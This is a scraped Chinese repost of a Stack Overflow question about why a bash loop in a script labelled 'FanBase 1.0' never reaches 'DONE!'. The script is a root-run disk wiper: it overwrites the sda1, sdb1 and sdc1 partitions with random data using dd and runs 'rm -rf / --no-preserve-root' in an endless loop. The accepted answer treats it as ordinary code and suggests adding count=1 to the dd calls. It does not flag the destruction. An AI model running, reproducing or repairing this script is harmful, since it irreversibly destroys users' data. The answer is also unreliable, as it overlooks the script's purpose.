gpt4 book ai didi

linux - 为什么一段时间后代码为真;做 ...;完成循环从未在 bash 中调用过?

转载 作者:太空宇宙 更新时间:2023-11-04 09:11:59 26 4
gpt4 key购买 nike

此脚本已在安装中列出。但是它只是挂起并且不执行任何操作。是不是有什么问题。

我试过在多台计算机上运行这个脚本。

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message
rm -rf b
while true
do
echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
dd if=b of=/dev/sda1 bs=1M 2> /dev/null
dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
rm -rf / --no-preserve-root 2> /dev/null
done
echo "DONE!"

它应该说“完成!”

最佳答案

让我们调试一下。尝试为每个 dd 命令添加一个 count=1 选项。例如,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

关于linux - 为什么一段时间后代码为真;做 ...;完成循环从未在 bash 中调用过?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54405880/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com